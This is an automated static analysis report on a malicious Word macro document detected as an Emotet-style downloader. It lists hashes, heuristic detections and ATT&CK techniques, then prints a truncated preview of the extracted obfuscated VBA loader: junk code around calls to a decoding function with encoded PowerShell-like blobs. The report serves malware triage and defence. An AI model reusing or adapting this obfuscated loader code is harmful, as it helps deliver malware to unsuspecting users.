Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8317263bbab34fab…

MALICIOUS

Office (OLE)

169.0 KB Created: 2018-03-27 18:46:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: b22c15fa007c52f84a7a248956090f39 SHA-1: fe97bb33fb60d7762e5193244d5463f72019102a SHA-256: 8317263bbab34fababfc368fb1898f699c4420a6086aa50bcf80b59f1d90f859
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains critical heuristic firings for VBA macros, including AutoOpen and CreateObject, indicating malicious intent. The extracted VBA script, while obfuscated, uses a function 'ZTXPjn' which appears to be involved in decoding or constructing a URL or command. The presence of legacy WordBasic and Excel 4.0 macros further suggests a multi-stage attack. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' strongly supports the malicious classification.

Heuristics 9

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53758 bytes
SHA-256: d03b92d919a43ad673e69093b0061926b66313bbf516e7e8efbdc920bfb44b1c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 17 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "tpzBmjzuC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sSSLttJW"
Function ldBFzLiXXmFb()
On Error Resume Next
Select Case ptzmAN
      Case 16267
         bCKXDh = CStr(ZMjfP + CStr(71539) - hzZYN * 63623)
      Case 97705
         NakZM = vqnor
         dLUjzz = Tan(3513 * twIBu)
End Select
vsNHALtR = ZTXPjn("Ru3S4ADEAZgA4AGYAZgA5ADcA' |coNVErtto-SeCurEsTriNg  -kEy  230,163,61,122,191,158,124,54R3", 5, 82)
Select Case MCNbAb
      Case 76424
         okniV = CStr(dWvqXA + CStr(64816) - cpYPf * 80024)
      Case 53991
         RifiG = dLoQzX
         kwVcE = Tan(60678 * BSduw)
End Select
Select Case RBaBh
      Case 97578
         Oawki = CStr(zaoaJG + CStr(97524) - TpzsI * 74880)
      Case 77570
         qpQioU = FcRzJZ
         JiQTCz = Tan(52518 * Ssosz)
End Select
MiIdCGhEnzL = ZTXPjn("KwFMAMQA0AGQAZgBkADcANQBkAGUAMAA3AGMAOABmADMAYgBlADYAZABkAGIAMQA5ADUAOABhADAAZQAyADIAMQA4ADIAZAAwAGIAYQBkADcAMAA2ADAAMQAyILi", 6, 116)
Select Case bJZLY
      Case 65650
         JTAFil = CStr(zrIplU + CStr(62113) - bokoE * 56905)
      Case 42870
         uwXdi = smlrP
         OQOYOt = Tan(29404 * jzGcfK)
End Select
Select Case BVuSWc
      Case 36994
         AdXzLR = CStr(urzRUM + CStr(99418) - EzFukz * 84056)
      Case 62741
         fYUoU = uOZdKq
         KYatRL = Tan(66543 * zWBkqV)
End Select
Rwwswq = ZTXPjn("fszADgAMgA1ADQAMgA4ADcAOQAyADIAZQA3AGEAMQA4ADMAMQBjAGEAMwBjADcAYgBkAGIAMwA0ADcANgBhAGEANQAzADcANwA3ADUAYQA1AGEANQA4AGYAOQA2AGMAYQAwADMAZQA2AGUAMQBiADUAZQAyAGMAMwBkAGQAMQA1ADkAZgA0ADUAMirLl", 4, 181)
Select Case iicIw
      Case 96392
         mwJZA = CStr(Cvjpu + CStr(29228) - jUqijw * 88072)
      Case 60559
         SDiVc = qABtqq
         djrKfd = Tan(8513 * LqbjlO)
End Select
Select Case dvqMHb
      Case 16895
         YzwAuN = CStr(SOwoi + CStr(53366) - CmWEsd * 15063)
      Case 66752
         twfHI = UjlNn
         uuiJt = Tan(49676 * rnFPQs)
End Select
lHjCj = ZTXPjn("0zZjwADIAZQBkADgANAA5ADIAMgA3AGUAYgA3ADIAZgAwAGYAYQA3ADUo7Af", 6, 51)
Select Case EpDifb
      Case 80182
         FEPFuD = CStr(RCQnQI + CStr(84328) - uzDKqd * 78201)
      Case 64041
         PPKic = iMiMp
         uoftzW = Tan(4279 * cckNBI)
End Select
Select Case VQLZj
      Case 36286
         zrnnLw = CStr(vaKuS + CStr(64165) - CFuNXm * 40744)
      Case 70614
         flCKjj = XuVbFH
         zIjcj = Tan(61026 * jlYRTL)
End Select
VQHNRvDBr = ZTXPjn(",wA1AGQAMgBlAGQAOQA2AGEANwAyADUAYQAxADcANgAwAGUAYgAxADMANgA1AGQAZgA0ADAAYQAyAGIAYwA0ADMAYwBkADMAOAAzAGIANABiADYAZgBkAGUAMwA2ADkAMABiAGQANAAyADYANwAwADMAcJ3Mn", 2, 151)
Select Case MMjQM
      Case 85134
         BIlRM = CStr(nAzFqv + CStr(93520) - EnKlEV * 92084)
      Case 1009
         sPYdKh = KtPBwA
         LXAqjo = Tan(35594 * XOVHZV)
End Select
Select Case kpiGQu
      Case 61989
         nAqkzZ = CStr(OjzqJD + CStr(57290) - FFoHr * 16280)
      Case 36334
         NZUwh = wbEIin
         mIaks = Tan(1902 * oOpfHp)
End Select
qkHiZWPSin = ZTXPjn("WbdtSsEAMgA4ADQAMAAxAWt", 7, 15)
Select Case Abnof
      Case 39563
         dLiaPa = CStr(XlBZqr + CStr(36201) - OWwHqN * 97910)
      Case 68308
         rrPvzR = wTKJw
         JdaoRc = Tan(77392 * RzFDN)
End Select
Select Case FDNpD
      Case 61194
         NpruIi = CStr(nXoAP + CStr(53866) - wHnAi * 24318)
      Case 18924
         XiSEY = jurCi
         oJuZw = Tan(35242 * TGqLW)
End Select
nIFBLRspTT = ZTXPjn("G4AR3AGMANAAyADAAYgA2ADIAMwBlADMAMQA1AGUAYQA0AGIAMQAyADkAMgBjAGYAMwA2AGEAYwA3ADkAMwA0ADIANgBjADEAMAA2ADkANgAyADgAMwA0AGUANAA2AGIAM0@", 6, 125)
Select Case FGwaoZ
      Case 36882
         uSIcD = CStr(sDczw + CStr(72475) - YoNNEL * 87357)
      Case 80814
         jWwQT = mTCcL
         trlzsI = Tan(52297 * dtNkM)
End Select
Select Case zFlTbN
      Case 78683
         Bllcu = CS
... (truncated)

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